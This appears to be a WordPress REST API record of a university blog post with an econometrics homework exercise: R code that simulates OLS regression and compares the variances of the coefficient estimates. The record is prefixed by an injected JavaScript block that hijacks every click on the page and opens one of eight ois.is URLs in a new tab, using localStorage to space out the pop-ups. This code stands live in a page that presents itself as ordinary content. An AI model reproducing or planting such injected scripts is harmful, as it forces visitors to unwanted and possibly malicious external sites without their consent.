<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":936,"date":"2022-09-29T21:11:31","date_gmt":"2022-09-29T13:11:31","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=936"},"modified":"2023-10-16T21:41:49","modified_gmt":"2023-10-16T13:41:49","slug":"220929-%e8%a8%88%e9%87%8f%e7%b6%93%e6%bf%9f%e5%ad%b8_%e4%bd%9c%e6%a5%ad","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=936","title":{"rendered":"220929 \u8a08\u91cf\u7d93\u6fdf\u5b78_\u4f5c\u696d 1"},"content":{"rendered":"<p># simulate data<br \/>\nN &lt;- 100000<br \/>\nX &lt;- runif(N, min = 0, max = 20)<br \/>\nu &lt;- rnorm(N, sd = 10)<\/p>\n<p># population regression<br \/>\nY &lt;- -2 + 3.5 * X + u<br \/>\npopulation &lt;- data.frame(X, Y)<\/p>\n<p># set sample size<br \/>\nn &lt;- 100<\/p>\n<p># compute the variance of beta_hat_0<br \/>\nH_i &lt;- 1 &#8211; mean(X) \/ mean(X^2) * X<br \/>\nvar_b0 &lt;- var(H_i * u) \/ (n * mean(H_i^2)^2 )<\/p>\n<p># compute the variance of hat_beta_1<br \/>\nvar_b1 &lt;- var( ( X &#8211; mean(X) ) * u ) \/ (100 * var(X)^2)<br \/>\n# print variances to the console<br \/>\nvar_b0<br \/>\n#&gt; [1] 4.045066<br \/>\nvar_b1<br \/>\n#&gt; [1] 0.03018694<\/p>\n<p># set repetitions and sample size<br \/>\nn &lt;- 100<br \/>\nreps &lt;- 10000<\/p>\n<p># initialize the matrix of outcomes<br \/>\nfit &lt;- matrix(ncol = 2, nrow = reps)<\/p>\n<p># loop sampling and estimation of the coefficients<br \/>\nfor (i in 1:reps){<\/p>\n<p>sample &lt;- population[sample(1:N, n), ]<br \/>\nfit[i, ] &lt;- lm(Y ~ X, data = sample)$coefficients<\/p>\n<p>}<\/p>\n<p># compute variance estimates using outcomes<br \/>\nvar(fit[, 1])<br \/>\n#&gt; [1] 4.186832<br \/>\nvar(fit[, 2])<br \/>\n#&gt; [1] 0.03096199<\/p>\n<p># divide plotting area as 1-by-2 array<br \/>\npar(mfrow = c(1, 2))<\/p>\n<p># plot histograms of beta_0 estimates<br \/>\nhist(fit[, 1],<br \/>\ncex.main = 1,<br \/>\nmain = bquote(The ~ Distribution ~ of ~ 10000 ~ beta[0] ~ Estimates),<br \/>\nxlab = bquote(hat(beta)[0]),<br \/>\nfreq = F)<\/p>\n<p># add true distribution to plot<br \/>\ncurve(dnorm(x,<br \/>\n-2,<br \/>\nsqrt(var_b0)),<br \/>\nadd = T,<br \/>\ncol = &#8220;darkred&#8221;)<\/p>\n<p># plot histograms of beta_hat_1<br \/>\nhist(fit[, 2],<br \/>\ncex.main = 1,<br \/>\nmain = bquote(The ~ Distribution ~ of ~ 10000 ~ beta[1] ~ Estimates),<br \/>\nxlab = bquote(hat(beta)[1]),<br \/>\nfreq = F)<\/p>\n<p># add true distribution to plot<br \/>\ncurve(dnorm(x,<br \/>\n3.5,<br \/>\nsqrt(var_b1)),<br \/>\nadd = T,<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-937\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/\u672a\u547d\u540d.png\" alt=\"\" width=\"1858\" height=\"877\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/\u672a\u547d\u540d.png 1858w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/\u672a\u547d\u540d-300x142.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/\u672a\u547d\u540d-800x378.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/\u672a\u547d\u540d-768x363.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/\u672a\u547d\u540d-1536x725.png 1536w\" sizes=\"(max-width: 1858px) 100vw, 1858px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p># simulate data N &lt;- 100000 X &lt;- r<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/936"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=936"}],"version-history":[{"count":2,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/936\/revisions"}],"predecessor-version":[{"id":939,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/936\/revisions\/939"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=936"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=936"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=936"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}